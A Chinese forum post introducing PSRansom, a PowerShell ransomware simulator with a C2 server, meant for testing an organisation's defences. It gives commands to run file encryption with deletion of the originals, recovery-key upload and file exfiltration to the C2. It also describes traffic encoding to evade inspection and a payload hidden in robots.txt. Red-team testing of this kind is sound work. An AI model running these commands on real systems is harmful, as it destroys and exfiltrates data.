吉沃运营专员 发表于 2022-5-11 16:07:28

PSRansom:使用 PowerShell 来模拟通用勒索软件感染过程

之前在工具子版块中发了关于模拟勒索软件的文章,此篇文章讲如何使用,工具说明:https://bbs.decoyit.com/thread-143-1-1.html
本周我 (再次) 带着另一个项目回来了,在这种情况下,它是一个名为 PSRansom 的小工具,它允许我们仅使用 PowerShell 来模拟通用勒索软件的感染。此外,我们将能够通过它自己的 C2 模拟文件的渗漏,甚至可以同时使用 Windows 和 Linux 的这两个部分。



当今互联网上有许多类型的恶意软件:从病毒和特洛伊木马到间谍软件和勒索软件。在我们的例子中,我们将专注于后者。

我们所有致力于网络安全的人都知道,每天出现的勒索软件活动的数量。对于那些不熟悉这个概念的人来说,勒索软件是一种恶意程序,它限制对受感染操作系统的某些部分或文件的访问,并要求赎金以换取取消此限制。

通常,此操作是通过加密机制执行的,由于其特殊性,该机制通过蛮力或字典使恢复过程复杂化。通过这种方式,攻击者可以确保受害者愿意支付赎金,以免丢失他们的信息。

在任何情况下都不应落入这个陷阱,由于支付赎金的事实会鼓励攻击者再次与其他受害者一起获利。因此,最好的解决方案是拥有多个备份和良好的应急计划。

现在,我们该如何为这种情况做好准备呢?除了使我们的操作系统和防病毒软件保持最新状态外,能够检查组织中部署的措施是否对此类攻击有效也很重要。

当然,有很多方法可以模拟勒索软件,包括商业的和免费的。就我而言,我没有找到任何适合我需要的解决方案,因此我决定创建自己的工具。

对于这种特殊情况,我需要以下内容:


[*]在内存中执行全部或部分进程
[*]模拟文件加密
[*]加密后删除原始文件
[*]将恢复密钥发送到服务器 C2
[*]将加密文件泄露到 C2 服务器
[*]与 Windows 和 Linux 兼容
[*]恢复原始文件的可能性

一旦我的目标明确,我就开始工作,这就是我今天在博客上为你带来的工具:PSRansom – 带有 C2 服务器的 PowerShell 勒索软件模拟器。

以下是 GitHub 上该工具的链接,可获取更多信息:https://github.com/JoelGMSec/PSRansom

现在我们对 PS Ransom 有了一些了解,让我们看看它是如何工作的

首先,这个项目完全是在 PowerShell 中制作的,所以如果我们不使用 Windows,我们需要将它安装在我们的系统上。就我而言,我将使用 Kali Linux,因此如果你使用其他发行版,安装命令可能不起作用。

首先,我们将下载项目并使用以下命令安装 PowerShell:

sudo apt install powershell -y
git clone https://github.com/JoelGMSec/PSRansom
下载项目后,将有两个脚本:PSRansom 和 C2Server。第一个将模拟勒索软件感染,而第二个将负责恢复文件及其恢复密钥。

接下来将看看勒索软件可以为我们提供什么,稍后将使用命令和控制。在开始之前,使用 -h 参数查阅帮助,如下所示:



正如在上图中看到的那样,工具的使用完全是微不足道的。我们只需要指明要加密的目录、C2 服务器的 IP 或主机名以及将接收连接的端口。

如果另外,我们要发送加密文件,只需要在命令末尾添加 -x 参数。最后,如果要解密,将指出有问题的目录和恢复密钥。

为了方便起见,我们将在下面看到一些示例。首先,将场景定义如下:


[*]勒索软件将在 Windows 机器上运行
[*]我们要加密的文件夹位于 C:\Backup
[*]C2 服务器将在 Kali Linux 上运行
[*]所有流量都将通过代理查看详细信息

现在我们已经清楚了模拟环境,让我们将其付诸实践。要做的第一件事是查阅 C2 帮助,看看有哪些选择:



正如我们再次看到的,命令和控制服务器的使用也非常简单。我们只需要指明监听连接的接口和接收连接的端口。在我这种情况下,将监听所有接口并使用以下命令使用端口 80:

pwsh C2Server.ps1 + 80


如果一切顺利,我们应该会看到与上图类似的内容。请记住,要侦听所有接口,我们将需要完整的系统权限。

接下来,我们将使用以下命令运行加密和渗透过程:

.\PSRansom.ps1 -e Directorio -s ServidorC2 -p Puerto -x


为执行此过程,将生成 24 个字母数字字符 (小写、大写和数字) 的随机密钥,数据将以 AES256 加密,并将恢复密钥发送到 C2 服务器。
该过程完成后,原始文件将被删除,仅保留加密的文件:



如果我们去到另一端,也就是我们的 C2 服务器所在的位置,我们应该会收到类似这样的信息:



正如我们在前面的截图中看到的,如果我们使用了参数来泄露信息,我们将收到受害者的信息、恢复密钥、加密文件列表等:



由于通过控制台我们看不到 "幕后发生的事情",因此我使用了代理来拦截流量并能够更详细地显示该工具的操作。

为了不让文章过分冗长,我将交流过程总结一下:


[*]检查 C2 是否正常运行 (/status)
[*]如果是,则发送受害者信息 (/data)
[*]此外,还会发送恢复密钥 (/data)
[*]文件加密后,将发送日志 (/log)
[*]在泄露文件的情况下,通知 C2 (/files)
[*]每个文件单独发送 (/files/*)
[*]通信过程完成 (/done)

接下来,我附上一张图片来展示上一个示例:



在每个请求中,所有内容都将被加密或编码发送,以免被任何流量检查机制检测到:



此外,C2 本身旨在通过 robots.txt 文件执行 "payload 传递":



也就是说,我们可以使用 Invoke-Stealth 加密 PS Ransom,将其保存为 robots.txt 与 C2 相同的目录中,然后使用 PowerShell 下载。最好的一点是只能从 PowerShell 访问这个文件,对任何浏览器都是完全不可见的。

在向我们的 C2 发出任何请求之前,无论路由或方法 (只要是 GET 或 POST),响应将始终是我们在上图中看到的默认页面。
最后,我们只需要看到相反的情况,使用 Linux 系统作为受害者:



由于 PowerShell 不需要使用任何类型的外部库,不需要采取任何额外的操作来使其与 Microsoft 的系统相同地工作。

如果你注意到了,在这种情况下,我没有启动 C2 服务器来展示如果没有与之通信会发生什么。基本上,除了一些事情之外,一切都会一样:

首先,虽然我们已经请求泄露文件,但是这个过程不会被执行 (因为不可能,如果没有通信的话)。接下来,恢复密钥和日志文件都将保存在一个文件中,位于我们启动该工具的路径中。

通过这种方式,可以保证在意外执行或我们从没有任何类型通信的主机上的远程 shell 执行此过程时能够恢复文件。
显然,最后一种情况将使事件响应团队的事情变得更容易,因为密钥不会在内存中,并且很容易恢复它以继续解密过程。

作为最终结论,该工具处于 "测试" 阶段,在某些情况下它可能会失败。如果你发现任何,请随时让我知道

页: [1]
查看完整版本: PSRansom:使用 PowerShell 来模拟通用勒索软件感染过程